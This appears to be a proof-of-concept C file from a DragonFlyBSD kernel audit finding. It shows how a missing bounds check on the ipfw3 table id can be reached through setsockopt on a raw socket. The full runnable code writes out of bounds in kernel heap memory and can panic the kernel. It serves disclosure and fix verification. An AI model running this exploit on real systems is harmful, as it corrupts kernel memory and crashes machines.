โฌข DragonFlyBSD Kernel Audit
DF-2580 / poc.c
โ† back to finding โ†“ download raw
/*
 * DF-2580 PoC โ€” ipfw3 table id bounds-check missing.
 *
 * Bug: sys/net/ipfw3_basic/ip_fw3_table.c โ€” every table_*_dispatch() does
 *   table_ctx = ctx->table_ctx; table_ctx += ioc_table->id;
 * against ctx->table_ctx[IPFW_TABLES_MAX=32] with NO bounds check on the
 * signed `id`.  id is a signed int read straight from the setsockopt payload.
 * An out-of-range id (>=32 or <0) produces a controlled kernel heap
 * out-of-bounds read/write at offset id*sizeof(struct ipfw3_table_context)
 * (= id*56 on amd64) from the table_ctx[] array base.
 *
 * Reach: setsockopt(raw_ip_socket, IPPROTO_IP, IP_FW_X=49, payload).
 *   rip_ctloutput -> ip_fw3_sockopt -> ip_fw3_ctl_x strips a 4-byte
 *   ip_fw_x_header {uint16 opcode, uint16 pad} from the payload, sets
 *   sopt_name = opcode (e.g. 73 = IP_FW_TABLE_CREATE), and dispatches to
 *   ip_fw3_ctl_table_sockopt -> ip_fw3_ctl_table_create -> netmsg ->
 *   table_create_dispatch -> table_ctx += id (OOB).
 *
 * NOTE on privilege: rip_attach() requires caps_priv_check(SYSCAP_NONET_RAW),
 * i.e. creating a raw IP socket needs root (or a jail with allow_raw_sockets).
 * The bug path itself is therefore root-reachable; an unprivileged user
 * without a raw socket cannot enter it.  This PoC must be run as root.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc [opcode] [id] [type]
 *         defaults: opcode=73 (CREATE) id=64 type=1
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* IP_FW_X is the ipfw3 setsockopt selector (netinet/in.h: IP_FW_X = 49) */
#ifndef IP_FW_X
#define IP_FW_X    49
#endif

/* ipfw3 table opcodes (net/ipfw3/ip_fw3.h) */
#define OP_TABLE_CREATE  73
#define OP_TABLE_DELETE  74
#define OP_TABLE_APPEND  75
#define OP_TABLE_REMOVE  76
#define OP_TABLE_LIST    77
#define OP_TABLE_FLUSH   78
#define OP_TABLE_SHOW    79
#define OP_TABLE_TEST    80
#define OP_TABLE_RENAME  81

/* ip_fw_x_header: 4-byte header stripped by ip_fw3_ctl_x */
struct ip_fw_x_header {
    uint16_t opcode;
    uint16_t _pad;
};

/* struct ipfw_ioc_table (net/ipfw3_basic/ip_fw3_table.h). The trailing
 * flexible ip_ent/mac_ent are zero-sized so this is the fixed head. */
#define IPFW_TABLE_NAME_LEN 32
struct ipfw_ioc_table {
    int  id;
    int  type;
    int  count;
    char name[IPFW_TABLE_NAME_LEN];
};

int main(int argc, char **argv)
{
    int opcode = (argc > 1) ? atoi(argv[1]) : OP_TABLE_CREATE;
    int id     = (argc > 2) ? atoi(argv[2]) : 64;   /* OOB: valid is 0..31 */
    int type   = (argc > 3) ? atoi(argv[3]) : 1;
    int s, rc;
    /* payload = 4-byte x_header + ipfw_ioc_table */
    unsigned char buf[sizeof(struct ip_fw_x_header) + sizeof(struct ipfw_ioc_table)];
    struct ip_fw_x_header *xh = (struct ip_fw_x_header *)buf;
    struct ipfw_ioc_table *tbl = (struct ipfw_ioc_table *)(buf + sizeof(*xh));

    printf("[*] DF-2580 ipfw3 table id OOB\n");
    printf("[*] opcode=%d id=%d type=%d (valid id range is 0..31)\n",
           opcode, id, type);
    printf("[*] OOB target byte offset = id * 56 = %d\n", id * 56);

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        perror("[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW)");
        printf("[-] raw socket requires root (SYSCAP_NONET_RAW). errno=%d\n", errno);
        return 2;
    }
    printf("[+] raw socket opened fd=%d\n", s);

    memset(buf, 0, sizeof(buf));
    xh->opcode = (uint16_t)opcode;
    xh->_pad   = 0;
    tbl->id    = id;
    tbl->type  = type;
    tbl->count = 0;
    /* a recognizable marker string in the 32-byte name field that will be
     * written out-of-bounds via strlcpy in table_create_dispatch / rename */
    memset(tbl->name, 'A', IPFW_TABLE_NAME_LEN - 1);
    tbl->name[IPFW_TABLE_NAME_LEN - 1] = '\0';

    printf("[*] setsockopt(IPPROTO_IP, IP_FW_X=%d, opcode=%d, id=%d) ...\n",
           IP_FW_X, opcode, id);
    fflush(stdout);

    rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf));
    if (rc < 0) {
        printf("[~] setsockopt returned %d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        if (errno == EINVAL) {
            printf("[+] EINVAL -> bounds check is present (FIXED kernel)\n");
        }
    } else {
        printf("[!] setsockopt returned 0 (NO bounds check) โ€” OOB write happened\n");
    }
    /* if we got here the kernel is still alive; for the crash variants
     * (FLUSH/DELETE/SHOW with a large id, or CREATE type=1 with a very large
     * id) the kernel will panic inside the dispatch and never return. */
    close(s);
    printf("[*] done\n");
    return 0;
}